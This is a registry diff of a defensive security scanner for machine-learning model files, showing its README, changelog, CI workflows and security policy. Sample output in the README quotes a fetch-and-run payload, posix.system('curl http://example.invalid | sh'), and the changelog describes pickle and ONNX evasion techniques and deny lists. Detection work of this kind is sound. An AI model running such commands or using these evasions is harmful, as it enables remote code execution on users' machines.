hayward 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- hayward-1.0.0/.claude/settings.local.json +14 -0
- hayward-1.0.0/.github/workflows/ci.yml +37 -0
- hayward-1.0.0/.github/workflows/publish.yml +33 -0
- hayward-1.0.0/.gitignore +12 -0
- hayward-1.0.0/CHANGELOG.md +88 -0
- hayward-1.0.0/LICENSE +21 -0
- hayward-1.0.0/NOTICE +20 -0
- hayward-1.0.0/PKG-INFO +175 -0
- hayward-1.0.0/README.md +124 -0
- hayward-1.0.0/SECURITY.md +36 -0
- hayward-1.0.0/docs/accuracy.md +117 -0
- hayward-1.0.0/docs/coverage.md +95 -0
- hayward-1.0.0/docs/how-it-works.md +98 -0
- hayward-1.0.0/docs/rules.md +107 -0
- hayward-1.0.0/docs/usage.md +182 -0
- hayward-1.0.0/hayward/__init__.py +36 -0
- hayward-1.0.0/hayward/__main__.py +6 -0
- hayward-1.0.0/hayward/cli.py +151 -0
- hayward-1.0.0/hayward/findings.py +94 -0
- hayward-1.0.0/hayward/gui.py +396 -0
- hayward-1.0.0/hayward/report.py +222 -0
- hayward-1.0.0/hayward/scanner.py +5606 -0
- hayward-1.0.0/pyproject.toml +72 -0
- hayward-1.0.0/tests/test_hardening.py +1355 -0
- hayward-1.0.0/tests/test_new_formats.py +1595 -0
- hayward-1.0.0/tests/test_pickle_allowlist.py +143 -0
- hayward-1.0.0/tests/test_pickle_memo_band.py +218 -0
- hayward-1.0.0/tests/test_pickle_reduce.py +211 -0
- hayward-1.0.0/tests/test_pickle_unknown_triage.py +1120 -0
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"permissions": {
|
|
3
|
+
"allow": [
|
|
4
|
+
"Bash(git -C /Users/kennethcox/Developer/projects/hayward log --oneline -20)",
|
|
5
|
+
"Bash(python3 -m hayward.gui)",
|
|
6
|
+
"Bash(uv venv *)",
|
|
7
|
+
"Bash(uv pip *)",
|
|
8
|
+
"Bash(.venv/bin/python -c \"import hayward; print\\('ok', hayward.__version__\\)\")",
|
|
9
|
+
"Bash(.venv/bin/python -m hayward.gui)",
|
|
10
|
+
"Bash(.venv/bin/python -m pytest tests/ -q)",
|
|
11
|
+
"Read(//Users/kennethcox/Developer/projects/**)"
|
|
12
|
+
]
|
|
13
|
+
}
|
|
14
|
+
}
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
name: CI
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
push:
|
|
5
|
+
branches: [main]
|
|
6
|
+
pull_request:
|
|
7
|
+
|
|
8
|
+
jobs:
|
|
9
|
+
test:
|
|
10
|
+
strategy:
|
|
11
|
+
fail-fast: false
|
|
12
|
+
matrix:
|
|
13
|
+
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
|
14
|
+
os: [ubuntu-latest, macos-latest, windows-latest]
|
|
15
|
+
runs-on: ${{ matrix.os }}
|
|
16
|
+
steps:
|
|
17
|
+
- uses: actions/checkout@v4
|
|
18
|
+
- uses: actions/setup-python@v5
|
|
19
|
+
with:
|
|
20
|
+
python-version: ${{ matrix.python-version }}
|
|
21
|
+
- run: pip install -e ".[dev]"
|
|
22
|
+
- run: pytest
|
|
23
|
+
# The scanner reads hostile input, so a crash is a security defect and
|
|
24
|
+
# not merely a failed test. This runs the CLI over the test fixtures to
|
|
25
|
+
# catch anything that escapes as an unhandled exception.
|
|
26
|
+
- run: hayward scan tests --fail-on never
|
|
27
|
+
shell: bash
|
|
28
|
+
|
|
29
|
+
lint:
|
|
30
|
+
runs-on: ubuntu-latest
|
|
31
|
+
steps:
|
|
32
|
+
- uses: actions/checkout@v4
|
|
33
|
+
- uses: actions/setup-python@v5
|
|
34
|
+
with:
|
|
35
|
+
python-version: "3.12"
|
|
36
|
+
- run: pip install -e ".[dev]"
|
|
37
|
+
- run: ruff check .
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
name: Publish to PyPI
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
release:
|
|
5
|
+
types: [published]
|
|
6
|
+
|
|
7
|
+
jobs:
|
|
8
|
+
build:
|
|
9
|
+
runs-on: ubuntu-latest
|
|
10
|
+
steps:
|
|
11
|
+
- uses: actions/checkout@v4
|
|
12
|
+
- uses: actions/setup-python@v5
|
|
13
|
+
with:
|
|
14
|
+
python-version: "3.12"
|
|
15
|
+
- run: pip install build
|
|
16
|
+
- run: python -m build
|
|
17
|
+
- uses: actions/upload-artifact@v4
|
|
18
|
+
with:
|
|
19
|
+
name: dist
|
|
20
|
+
path: dist/
|
|
21
|
+
|
|
22
|
+
publish:
|
|
23
|
+
needs: build
|
|
24
|
+
runs-on: ubuntu-latest
|
|
25
|
+
environment: pypi
|
|
26
|
+
permissions:
|
|
27
|
+
id-token: write
|
|
28
|
+
steps:
|
|
29
|
+
- uses: actions/download-artifact@v4
|
|
30
|
+
with:
|
|
31
|
+
name: dist
|
|
32
|
+
path: dist/
|
|
33
|
+
- uses: pypa/gh-action-pypi-publish@release/v1
|
hayward-1.0.0/.gitignore
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
Notable changes, newest first. Versions follow [semantic versioning](https://semver.org).
|
|
4
|
+
Rule identifiers are part of the public interface and will not be renamed
|
|
5
|
+
within a major version.
|
|
6
|
+
|
|
7
|
+
## 1.0.0 (2026-08-06)
|
|
8
|
+
|
|
9
|
+
First release. The scanner was developed inside a larger static-analysis tool
|
|
10
|
+
and is published here as a standalone package, with its own command line,
|
|
11
|
+
desktop window and test suite.
|
|
12
|
+
|
|
13
|
+
### Formats
|
|
14
|
+
|
|
15
|
+
Pickle and every container that carries one (PyTorch zip and legacy layouts,
|
|
16
|
+
joblib behind zlib, gzip, bz2, lzma or xz, NumPy `.npy` and `.npz`, TorchServe
|
|
17
|
+
`.mar`, NVIDIA NeMo `.nemo`, skops), plus SafeTensors, GGUF, Keras H5 and
|
|
18
|
+
`.keras`, ONNX, TensorFlow SavedModel, TFLite and PMML. Format is decided by
|
|
19
|
+
magic bytes, and a file whose extension disagrees with its content is
|
|
20
|
+
reported.
|
|
21
|
+
|
|
22
|
+
### Detection
|
|
23
|
+
|
|
24
|
+
- Pickle streams are walked as opcodes with `pickletools`. Nothing is
|
|
25
|
+
imported, deserialised or executed.
|
|
26
|
+
- An unknown callable is judged by the arguments it was resolved with, not by
|
|
27
|
+
its name: a URL, a shell command, a `(host, port)` pair or a literal naming
|
|
28
|
+
a denied function each promote it to an actionable finding. This is what
|
|
29
|
+
catches gadgets that are on no list.
|
|
30
|
+
- A second pickle stream carried as a bytes literal is scanned too
|
|
31
|
+
(`MFV-PICKLE-008`): `numpy.load(BytesIO(<pickle>))` is the pattern, where
|
|
32
|
+
the outer callable is on no deny list and the payload exists only once the
|
|
33
|
+
inner bytes are read.
|
|
34
|
+
- Dotted `GLOBAL` names are resolved segment by segment, the way
|
|
35
|
+
`Unpickler.find_class` resolves them. `GLOBAL "torch" "serialization.os.system"`
|
|
36
|
+
reaches `os.system` on load, but a deny list keyed on the joined string sees
|
|
37
|
+
only `torch.serialization.os.system` and files it as unknown. The shape
|
|
38
|
+
appears in PickleBall's published corpus.
|
|
39
|
+
- Container arithmetic is replayed against the file for GGUF, SafeTensors and
|
|
40
|
+
TFLite, covering the integer-overflow class behind CVE-2025-53630,
|
|
41
|
+
CVE-2026-27940, CVE-2026-33298 and CVE-2026-42627.
|
|
42
|
+
- Tensor names are validated as paths wherever tooling would write them to
|
|
43
|
+
one, covering traversal segments, absolute and drive-absolute paths, and
|
|
44
|
+
embedded NUL or newline. Part of `MFV-ST-006` and `MFV-GGUF-005`.
|
|
45
|
+
- ONNX `external_data` is checked for keys beyond the four the format
|
|
46
|
+
defines (CVE-2026-34445) and for locations that are absolute, traversing,
|
|
47
|
+
or off the filesystem entirely. A published proof of concept points a
|
|
48
|
+
location at `169.254.169.254`, so loading the model reaches the cloud
|
|
49
|
+
metadata endpoint (`MFV-ONNX-004`).
|
|
50
|
+
- PMML is checked for external entity declarations, where the read primitive
|
|
51
|
+
needs no code execution at all.
|
|
52
|
+
- Embedded PE, ELF and Mach-O images are reported. No serialisation format
|
|
53
|
+
writes one.
|
|
54
|
+
|
|
55
|
+
### Coverage reporting
|
|
56
|
+
|
|
57
|
+
Every failure to read a file produces a finding rather than silence.
|
|
58
|
+
`MFV-SKIP-001`, `MFV-SKIP-002`, `MFV-SKIP-003`, `MFV-7Z-001` and
|
|
59
|
+
`MFV-GGUF-004` all mean analysis did not complete, and
|
|
60
|
+
`hayward.is_coverage_gap()` identifies them.
|
|
61
|
+
|
|
62
|
+
This closes the exception-oriented evasion described in
|
|
63
|
+
[arXiv 2508.19774](https://arxiv.org/abs/2508.19774), where a payload is
|
|
64
|
+
placed behind a deliberate parse error so the scanner reports nothing while
|
|
65
|
+
the target framework loads the file anyway. Both the raising and the silent
|
|
66
|
+
variants are handled: a container walk that ends early is detected by checking
|
|
67
|
+
that it consumed the whole file, since iteration ending is not proof the file
|
|
68
|
+
ended.
|
|
69
|
+
|
|
70
|
+
### Interfaces
|
|
71
|
+
|
|
72
|
+
- `hayward scan` with text and JSON output, a configurable `--fail-on`
|
|
73
|
+
threshold, and `--fail-on-coverage` for builds that should not pass on an
|
|
74
|
+
unread file.
|
|
75
|
+
- `hayward-gui`, a single tkinter window. No added dependency.
|
|
76
|
+
- `ModelFileScanner.scan_file` and `.scan_directory` as the library API.
|
|
77
|
+
|
|
78
|
+
### Measured position
|
|
79
|
+
|
|
80
|
+
Against 215 hash-pinned models from the HuggingFace Hub: nothing above INFO,
|
|
81
|
+
5 files in the INFO tier. Against picklescan's test corpus: 34 of 35 malicious
|
|
82
|
+
files, the miss being a `.7z` archive with no extractor installed. Against
|
|
83
|
+
PickleCloak: 49 of 57 exploits and 91 of 97 gadget chains. Against MalHug:
|
|
84
|
+
87 of 87 read and detected, 86 naming the sink the corpus records.
|
|
85
|
+
|
|
86
|
+
All self-measured against corpora that do not ship in this repository, using
|
|
87
|
+
a harness that is not published yet. Not reproducible by a reader today; see
|
|
88
|
+
docs/accuracy.md.
|
hayward-1.0.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Hedgerow
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
hayward-1.0.0/NOTICE
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
Hayward
|
|
2
|
+
Copyright (c) 2026 Hedgerow
|
|
3
|
+
|
|
4
|
+
This product includes data derived from picklescan
|
|
5
|
+
(https://github.com/mmaitre314/picklescan), copyright (c) Matthieu Maitre,
|
|
6
|
+
licensed under the MIT License.
|
|
7
|
+
|
|
8
|
+
Specifically, the list of dangerous global references in
|
|
9
|
+
hayward/scanner.py (`PICKLE_DENIED_GLOBALS` and `_PICKLE_DENIED_MODULES`)
|
|
10
|
+
was harvested from picklescan's `_unsafe_globals`, including its
|
|
11
|
+
whole-module wildcard entries. Those entries carry inline comments in the
|
|
12
|
+
source recording their origin.
|
|
13
|
+
|
|
14
|
+
We measured what that data is worth rather than assuming it. Removing every
|
|
15
|
+
picklescan-derived entry costs 9 of 35 detections on picklescan's own test
|
|
16
|
+
corpus. The list is load-bearing, and picklescan deserves the credit.
|
|
17
|
+
|
|
18
|
+
This product also depends on defusedxml (https://github.com/tiran/defusedxml),
|
|
19
|
+
copyright (c) Christian Heimes, licensed under the Python Software Foundation
|
|
20
|
+
License.
|
hayward-1.0.0/PKG-INFO
ADDED
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: hayward
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Security scanner for machine-learning model files: detects code execution in pickle, GGUF, ONNX, Keras and other checkpoints
|
|
5
|
+
Project-URL: Homepage, https://github.com/hedgerow-dev/hayward
|
|
6
|
+
Project-URL: Source, https://github.com/hedgerow-dev/hayward
|
|
7
|
+
Project-URL: Issues, https://github.com/hedgerow-dev/hayward/issues
|
|
8
|
+
Author-email: Hedgerow <hello@hedgerow.dev>
|
|
9
|
+
License: MIT License
|
|
10
|
+
|
|
11
|
+
Copyright (c) 2026 Hedgerow
|
|
12
|
+
|
|
13
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
14
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
15
|
+
in the Software without restriction, including without limitation the rights
|
|
16
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
17
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
18
|
+
furnished to do so, subject to the following conditions:
|
|
19
|
+
|
|
20
|
+
The above copyright notice and this permission notice shall be included in all
|
|
21
|
+
copies or substantial portions of the Software.
|
|
22
|
+
|
|
23
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
24
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
25
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
26
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
27
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
28
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
29
|
+
SOFTWARE.
|
|
30
|
+
License-File: LICENSE
|
|
31
|
+
License-File: NOTICE
|
|
32
|
+
Keywords: ai-security,deserialization,machine-learning,malware-detection,mlsecops,pickle,security,security-scanner,supply-chain,vulnerability-scanner
|
|
33
|
+
Classifier: Development Status :: 5 - Production/Stable
|
|
34
|
+
Classifier: Environment :: Console
|
|
35
|
+
Classifier: Intended Audience :: Developers
|
|
36
|
+
Classifier: Intended Audience :: Information Technology
|
|
37
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
38
|
+
Classifier: Programming Language :: Python :: 3
|
|
39
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
40
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
41
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
42
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
43
|
+
Classifier: Topic :: Security
|
|
44
|
+
Classifier: Typing :: Typed
|
|
45
|
+
Requires-Python: >=3.10
|
|
46
|
+
Requires-Dist: defusedxml<1.0,>=0.7
|
|
47
|
+
Provides-Extra: dev
|
|
48
|
+
Requires-Dist: pytest<9.0,>=8.0; extra == 'dev'
|
|
49
|
+
Requires-Dist: ruff<1.0,>=0.4; extra == 'dev'
|
|
50
|
+
Description-Content-Type: text/markdown
|
|
51
|
+
|
|
52
|
+
# Hayward
|
|
53
|
+
|
|
54
|
+
**Security scanner for machine-learning model files.** Know whether a
|
|
55
|
+
checkpoint will run code on your machine, before you load it.
|
|
56
|
+
|
|
57
|
+

|
|
58
|
+

|
|
59
|
+

|
|
60
|
+

|
|
61
|
+

|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
pip install hayward
|
|
65
|
+
hayward scan ./models
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
```
|
|
69
|
+
CRITICAL MFV-PICKLE-001 checkpoints/model.pt
|
|
70
|
+
Pickle file references unsafe callable(s) that grant code/command
|
|
71
|
+
execution on load: posix.system('curl http://example.invalid | sh').
|
|
72
|
+
|
|
73
|
+
1 finding(s): 1 critical
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
## The problem
|
|
77
|
+
|
|
78
|
+
`torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
|
|
79
|
+
from the file they read. That is not a bug, it is what pickle does.
|
|
80
|
+
|
|
81
|
+
The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
|
|
82
|
+
in that sentence. It is a program. Loading it is running it, on your laptop,
|
|
83
|
+
with your credentials, as you.
|
|
84
|
+
|
|
85
|
+
## Who it is for
|
|
86
|
+
|
|
87
|
+
Teams that pull checkpoints from public hubs and want the check to run in a CI
|
|
88
|
+
pipeline, on a laptop, or inside a regulated environment where nothing is
|
|
89
|
+
allowed to leave the network.
|
|
90
|
+
|
|
91
|
+
## What makes it different
|
|
92
|
+
|
|
93
|
+
**It stays quiet.** Zero findings above INFO across 215 real models from the
|
|
94
|
+
HuggingFace Hub, and five findings at INFO, the tier for content it could not
|
|
95
|
+
verify. A gate that cries wolf gets switched off. That figure is
|
|
96
|
+
**self-measured and not yet reproducible**: the corpus and harness are not
|
|
97
|
+
published. [Accuracy](docs/accuracy.md) sets out what it does and does not
|
|
98
|
+
support.
|
|
99
|
+
|
|
100
|
+
**It tells you when it could not look.** A file it cannot parse produces an
|
|
101
|
+
explicit finding, never silence. Attackers hide payloads behind deliberate
|
|
102
|
+
parse errors, and a clean report should mean the file was read.
|
|
103
|
+
|
|
104
|
+
**It catches gadgets nobody has listed.** Unknown callables are judged by the
|
|
105
|
+
arguments they were handed, not by their name. A URL, a shell command, a host
|
|
106
|
+
and port. That is what generalises past the deny list.
|
|
107
|
+
|
|
108
|
+
**It installs anywhere.** One dependency, no model framework, no native
|
|
109
|
+
extensions, no network. Python 3.10 and up.
|
|
110
|
+
|
|
111
|
+
**It fits a build.** Documented exit codes, JSON output, a threshold you set.
|
|
112
|
+
|
|
113
|
+
## What it scans
|
|
114
|
+
|
|
115
|
+
| | Formats |
|
|
116
|
+
|---|---|
|
|
117
|
+
| **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
|
|
118
|
+
| **Tensor containers** | SafeTensors, GGUF, TFLite |
|
|
119
|
+
| **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
|
|
120
|
+
|
|
121
|
+
24 extensions in total. **Format comes from magic bytes**, so a payload
|
|
122
|
+
renamed `weights.safetensors` does not walk past on the strength of its
|
|
123
|
+
extension.
|
|
124
|
+
|
|
125
|
+
## Three ways to run it
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
hayward scan ./models # command line
|
|
129
|
+
hayward scan ./models -f html -o report.html # shareable report
|
|
130
|
+
hayward-gui # desktop window
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
```python
|
|
134
|
+
from hayward import ModelFileScanner
|
|
135
|
+
findings = ModelFileScanner().scan_directory(Path("models"))
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
## What a clean result means
|
|
139
|
+
|
|
140
|
+
That Hayward read the files and recognised nothing dangerous in them. Not that
|
|
141
|
+
the model is safe. It is a smoke alarm, not a survey of the building, and
|
|
142
|
+
[coverage](docs/coverage.md) is the page where it owns up to the rooms it
|
|
143
|
+
could not get into.
|
|
144
|
+
|
|
145
|
+
## Documentation
|
|
146
|
+
|
|
147
|
+
- [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
|
|
148
|
+
- [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
|
|
149
|
+
- [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
|
|
150
|
+
- [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
|
|
151
|
+
- [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
|
|
152
|
+
|
|
153
|
+
## Contributing
|
|
154
|
+
|
|
155
|
+
The most useful contribution is a file Hayward gets wrong. False alarms count
|
|
156
|
+
just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
|
|
157
|
+
then it may as well not exist.
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
git clone https://github.com/hedgerow-dev/hayward
|
|
161
|
+
cd hayward && pip install -e ".[dev]" && pytest
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
## Security
|
|
165
|
+
|
|
166
|
+
Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
|
|
167
|
+
issue. Input that crashes the scanner counts: under a CI gate, a crash is
|
|
168
|
+
indistinguishable from a scan that never ran.
|
|
169
|
+
|
|
170
|
+
## Licence
|
|
171
|
+
|
|
172
|
+
MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
|
|
173
|
+
|
|
174
|
+
A *hayward* was the parish officer who walked the hedges, checked the gaps and
|
|
175
|
+
impounded whatever had got through.
|
hayward-1.0.0/README.md
ADDED
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
# Hayward
|
|
2
|
+
|
|
3
|
+
**Security scanner for machine-learning model files.** Know whether a
|
|
4
|
+
checkpoint will run code on your machine, before you load it.
|
|
5
|
+
|
|
6
|
+

|
|
7
|
+

|
|
8
|
+

|
|
9
|
+

|
|
10
|
+

|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
pip install hayward
|
|
14
|
+
hayward scan ./models
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
```
|
|
18
|
+
CRITICAL MFV-PICKLE-001 checkpoints/model.pt
|
|
19
|
+
Pickle file references unsafe callable(s) that grant code/command
|
|
20
|
+
execution on load: posix.system('curl http://example.invalid | sh').
|
|
21
|
+
|
|
22
|
+
1 finding(s): 1 critical
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## The problem
|
|
26
|
+
|
|
27
|
+
`torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
|
|
28
|
+
from the file they read. That is not a bug, it is what pickle does.
|
|
29
|
+
|
|
30
|
+
The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
|
|
31
|
+
in that sentence. It is a program. Loading it is running it, on your laptop,
|
|
32
|
+
with your credentials, as you.
|
|
33
|
+
|
|
34
|
+
## Who it is for
|
|
35
|
+
|
|
36
|
+
Teams that pull checkpoints from public hubs and want the check to run in a CI
|
|
37
|
+
pipeline, on a laptop, or inside a regulated environment where nothing is
|
|
38
|
+
allowed to leave the network.
|
|
39
|
+
|
|
40
|
+
## What makes it different
|
|
41
|
+
|
|
42
|
+
**It stays quiet.** Zero findings above INFO across 215 real models from the
|
|
43
|
+
HuggingFace Hub, and five findings at INFO, the tier for content it could not
|
|
44
|
+
verify. A gate that cries wolf gets switched off. That figure is
|
|
45
|
+
**self-measured and not yet reproducible**: the corpus and harness are not
|
|
46
|
+
published. [Accuracy](docs/accuracy.md) sets out what it does and does not
|
|
47
|
+
support.
|
|
48
|
+
|
|
49
|
+
**It tells you when it could not look.** A file it cannot parse produces an
|
|
50
|
+
explicit finding, never silence. Attackers hide payloads behind deliberate
|
|
51
|
+
parse errors, and a clean report should mean the file was read.
|
|
52
|
+
|
|
53
|
+
**It catches gadgets nobody has listed.** Unknown callables are judged by the
|
|
54
|
+
arguments they were handed, not by their name. A URL, a shell command, a host
|
|
55
|
+
and port. That is what generalises past the deny list.
|
|
56
|
+
|
|
57
|
+
**It installs anywhere.** One dependency, no model framework, no native
|
|
58
|
+
extensions, no network. Python 3.10 and up.
|
|
59
|
+
|
|
60
|
+
**It fits a build.** Documented exit codes, JSON output, a threshold you set.
|
|
61
|
+
|
|
62
|
+
## What it scans
|
|
63
|
+
|
|
64
|
+
| | Formats |
|
|
65
|
+
|---|---|
|
|
66
|
+
| **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
|
|
67
|
+
| **Tensor containers** | SafeTensors, GGUF, TFLite |
|
|
68
|
+
| **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
|
|
69
|
+
|
|
70
|
+
24 extensions in total. **Format comes from magic bytes**, so a payload
|
|
71
|
+
renamed `weights.safetensors` does not walk past on the strength of its
|
|
72
|
+
extension.
|
|
73
|
+
|
|
74
|
+
## Three ways to run it
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
hayward scan ./models # command line
|
|
78
|
+
hayward scan ./models -f html -o report.html # shareable report
|
|
79
|
+
hayward-gui # desktop window
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
```python
|
|
83
|
+
from hayward import ModelFileScanner
|
|
84
|
+
findings = ModelFileScanner().scan_directory(Path("models"))
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
## What a clean result means
|
|
88
|
+
|
|
89
|
+
That Hayward read the files and recognised nothing dangerous in them. Not that
|
|
90
|
+
the model is safe. It is a smoke alarm, not a survey of the building, and
|
|
91
|
+
[coverage](docs/coverage.md) is the page where it owns up to the rooms it
|
|
92
|
+
could not get into.
|
|
93
|
+
|
|
94
|
+
## Documentation
|
|
95
|
+
|
|
96
|
+
- [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
|
|
97
|
+
- [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
|
|
98
|
+
- [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
|
|
99
|
+
- [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
|
|
100
|
+
- [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
|
|
101
|
+
|
|
102
|
+
## Contributing
|
|
103
|
+
|
|
104
|
+
The most useful contribution is a file Hayward gets wrong. False alarms count
|
|
105
|
+
just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
|
|
106
|
+
then it may as well not exist.
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
git clone https://github.com/hedgerow-dev/hayward
|
|
110
|
+
cd hayward && pip install -e ".[dev]" && pytest
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
## Security
|
|
114
|
+
|
|
115
|
+
Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
|
|
116
|
+
issue. Input that crashes the scanner counts: under a CI gate, a crash is
|
|
117
|
+
indistinguishable from a scan that never ran.
|
|
118
|
+
|
|
119
|
+
## Licence
|
|
120
|
+
|
|
121
|
+
MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
|
|
122
|
+
|
|
123
|
+
A *hayward* was the parish officer who walked the hedges, checked the gaps and
|
|
124
|
+
impounded whatever had got through.
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# Security policy
|
|
2
|
+
|
|
3
|
+
## Reporting a vulnerability
|
|
4
|
+
|
|
5
|
+
Email hello@hedgerow.dev. Please do not open a public issue for a security
|
|
6
|
+
report.
|
|
7
|
+
|
|
8
|
+
Include what you have: a file that reproduces it, the version, and what you
|
|
9
|
+
expected. A minimal reproduction is worth more than a description.
|
|
10
|
+
|
|
11
|
+
## What counts
|
|
12
|
+
|
|
13
|
+
**Input that crashes the scanner is a security issue.** Hayward reads hostile
|
|
14
|
+
files by design. It does not execute them, but it is a parser, and under a CI
|
|
15
|
+
gate an unhandled exception is indistinguishable from a scan that never ran.
|
|
16
|
+
An attacker who can crash the scanner has bypassed it.
|
|
17
|
+
|
|
18
|
+
**A file that scans clean and should not** is a security issue. Include the
|
|
19
|
+
file or a script that builds it.
|
|
20
|
+
|
|
21
|
+
**A file that scans clean because Hayward could not read it** is a bug in the
|
|
22
|
+
coverage reporting rather than a bypass, and still worth reporting. Every
|
|
23
|
+
parse failure is supposed to produce a finding. If one does not, that is the
|
|
24
|
+
defect.
|
|
25
|
+
|
|
26
|
+
## What does not count
|
|
27
|
+
|
|
28
|
+
Findings on files that are genuinely unusual are not vulnerabilities. The INFO
|
|
29
|
+
tier exists for content the scanner cannot verify, and it is meant to be
|
|
30
|
+
populated. If you think a rule is too noisy on real models, open an issue with
|
|
31
|
+
the model rather than a security report.
|
|
32
|
+
|
|
33
|
+
## Handling
|
|
34
|
+
|
|
35
|
+
We will acknowledge within a few working days, agree a disclosure date with
|
|
36
|
+
you, and credit you in the changelog unless you would rather we did not.
|